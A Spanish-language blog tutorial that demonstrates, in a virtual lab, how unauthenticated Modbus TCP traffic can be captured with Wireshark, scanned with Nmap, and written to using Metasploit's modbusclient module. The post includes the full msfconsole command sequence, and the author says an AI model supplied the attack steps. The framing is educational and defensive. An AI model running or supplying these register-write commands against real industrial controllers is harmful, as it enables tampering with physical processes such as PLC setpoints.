Advertencia: el objetivo de este artículo es demostrar que las comunicaciones mediante el protocolo Modbus TCP no son seguras y por tanto, es recomendable proteger las comunicaciones haciendo uso de otros protocolos cifrados. De otro modo, estaríamos poniendo en riesgo la seguridad de nuestros sistemas.


Siguiendo con el articulo anterior, donde ya vimos que Modbus TCP no está cifrado ni requiere autenticación, vamos a ver ahora como podemos explotar esas vulnerabilidades para escribir en los registros.


Índice:


Paso 1: Arquitectura y comunicación Modbus en red local

Para este ejemplo he trabajado con 3 maquinas virtuales (VM – Virtual machines):

Las 3 máquinas estarán en red local, para ello asegura hacer ping entre todas ellas y ajustar los adaptadores de red para asignarles a cada uno sus dirección IP.

Paso 2: Configurar Maestro y Esclavo Modbus.

Paso 2.1: Configurar el esclavo

Este paso es parecido al del post anterior, es decir, el esclavo Modbus será exactamente igual ya que se ejecutará en su propio servidor 127.0.0.1 Puerto 502.

Paso 2.2: Configurar el maestro

Sin embargo el Maestro Modbus que obtendrá datos del esclavo, tiene que hacerlo desde fuera del PC, por tanto hay que decirle en qué IP de la red local, está nuestro Esclavo. En mi caso, está en la IP 192.168.1.50 y el puerto ya lo sabemos, 502.

Aceptamos y comprobamos que hay comunicación cuando desaparezca el texto en rojo de “No connection”.

Paso 3: Wireshark – Explorando las tramas

En este caso seleccionamos la tarjeta de red Ethernet0

Volvemos a filtrar por “modbus” y seleccionamos una de las tramas, comprobando que efectivamente leemos lo mismo que el Poll.

Paso 4: Exploración de puertos con Nmap y KaliLinux

Ya tenemos nuestras dos maquinas comunicando. Ha llegado el momento de monitorizar dichas comunicaciones y explorarlas para conocer la comunicación.

  • Exploración de puertos de máquina objetivo: vamos a hacer un escaneo de puertos desde la máquina Kali-Linux hacia nuestro esclavo Modbus (192.168.1.50), que es nuestra máquina objetivo.

Observamos que tiene varios puertos abiertos, entre ellos el 502 como esperábamos con el estado “open” y nombre “mbap”.

Paso 5: Usando Metasploits de Modbus con ayuda de IA

Llegados a este punto, vamos a tirar de metasploits, que son herramientas que aprovechan vulnerabilidades encontradas en distintas sistemas.

No soy ningún experto del mundo del hacking, pero como siempre, la IA es el mejor aliado si sabes lo que quieres hacer. En este caso ha sido de mucha ayuda ya que me ha proporcionado los pasos a seguir de forma sencilla y clara para ejecutar este ataque.

De hecho le he pasado una imagen del puerto, le he dicho que tengo una maquina Kali-Linux y que utilice los metasploits existentes para llegar a escribir en sus registros, la respuesta ha sido espectacularmente buena y práctica. El resultado, con algunas iteraciones, ha sido este código:

sudo msfconsole
use auxiliary/scanner/scada/modbusclient
set RHOSTS 192.168.1.50
set RPORT 502
set UNIT_NUMBER 1
set DATA_ADDRESS 0
set DATA 12345
set ACTION WRITE_REGISTER

run

Ejecútalo uno a uno para ver que lo va haciendo bien:

Resultado: se escribe perfectamente dicho valor en el registro indicado.

Conclusiones

  • Modbus TCP clásico es muy vulnerable y es muy fácil colarse en la comunicación y modificar valores.
  • La IA es una herramienta muy potente para ayudarnos a detectar estas vulnerabilidades y poder defendernos adecuadamente.

Caso práctico: imagina que tienes un PLC que controla un equipo mediante comunicaciones Modbus, y le esta escribiendo una referencia de temperatura. Con el ejemplo visto hoy y explotando las vulnerabilidades del protocolo Modbus TCP, podríamos perfectamente desde dentro de la red, acceder mediante estos metasploits y causar problemas en el sistema.